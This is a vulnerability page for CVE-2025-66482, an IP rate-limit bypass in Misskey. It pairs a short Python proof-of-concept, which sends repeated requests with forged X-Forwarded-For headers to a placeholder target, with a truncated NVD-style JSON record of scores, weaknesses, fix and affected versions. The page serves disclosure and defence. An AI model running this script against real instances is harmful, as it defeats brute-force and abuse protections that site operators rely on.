CVE-2025-66482

import requests import random # CVE-2025-66482 PoC - Misskey IP Rate Limit Bypass # This PoC demonstrates bypassing IP rate limiting via X-Forwarded-For header forgery target_url = "http://target-misskey-instance.com/api/endpoint" # Generate random IP addresses to bypass rate limiting for i in range(100): fake_ip = f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}" headers = { "X-Forwarded-For": fake_ip, "X-Real-IP": fake_ip, "User-Agent": "Mozilla/5.0" } try: response = requests.post( target_url, headers=headers, json={"param": "value"}, timeout=5 ) print(f"Request {i+1}: IP={fake_ip}, Status={response.status_code}") except requests.exceptions.RequestException as e: print(f"Request {i+1} failed: {e}") print("PoC execution completed. If rate limiting was bypassed, all requests would succeed.")

{"cve": {"id": "CVE-2025-66482", "sourceIdentifier": "[email protected]", "published": "2025-12-16T00:16:02.503", "lastModified": "2026-01-06T19:41:47.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Misskey is an open source, federated social media platform. Attackers who use an untrusted reverse proxy or not using a reverse proxy at all can bypass IP rate limiting by adding a forged X-Forwarded-For header. Starting with version 2025.9.1, an option (`trustProxy`) has been added in config file to prevent this from happening. However, it is initialized with an insecure default value before version 2025.12.0-alpha.2, making it still vulnerable if the configuration is not set correctly. This is patched in v2025.12.0-alpha.2 by flipping default value of `trustProxy` to `false`. Users of a trusted reverse proxy who are unsure if they manually overode this value should check their config for optimal behavior. Users are running Misskey with a trusted reverse proxy should not be affected by this vulnerability. From v2025.9.1 to v2025.11.1, workaround is available. Set `trustProxy: false` in config file."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}, {"lang": "en", "value": "CWE-1188"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:misskey:misskey:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "1BA8B906-8DD2-4D82-90A7-AD955FEF15FC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:misskey:misskey:13.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "786B1922-6E2E-48B5-8AA6-16566BDC39EF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:misskey:misskey:13.0.0:beta16:*:*:*:*:*:*", "matchCriteriaId": "856F7093-6778-4449-A6B2-FADF0CC81BB8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:misskey:misskey:13.0.0:beta21:*:*:*:*:*:*", "matchCriteriaId": "4AEFFF0D-A3ED-41AF-B5F2-7E3E2CCB3E38"}, {"vulnerable": true, "criteria": "cpe:2.3:a:misskey:misskey:13.0.0:beta22:*:*:*:*:*:*", "matchCriteriaId": "4615D7DB-9603-482D-8615-C09E8F41B204"}, {"vulnerable": true, "criteria": "cpe:2.3:a:misskey:misskey:13.0.0:beta23:*:*:*:*:*:*", "matchCriteriaId": "D58C35C6-5F19-4588-B369-84275C2878F2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:misskey:misskey:13.0.0:beta24:*:*:*:*:*:*", "matchCriteriaId": "7A4672A2-20B7-403A-8430-A6D206D6B032"}, {"vulnerable": true, "criteria": "cpe:2.3:a:misskey:misskey:13.0.0:beta25:*:*:*:*:*:*", "matchCriteriaId": "A1BAC1C3-CB0C-4C16-83C7-A18A4A7D3676"}, {"vulnerable": true, "criteria": "cpe:2.3:a:misskey:misskey:13.0.0:beta26:*:*:*:*:*:*", "matchCriteriaId": "E1C4D34E-1B6B-48A7-8FA7-F0872C63C727"}, {"vulnerable": true, "criteria": "cpe:2.3:a:misskey:misskey:13.0.0:beta27:*:*:*:*:*:*", "matchCriteriaId": "94E0E909-C42C-40B5-A4B5-D64049443903"}, ... (truncated)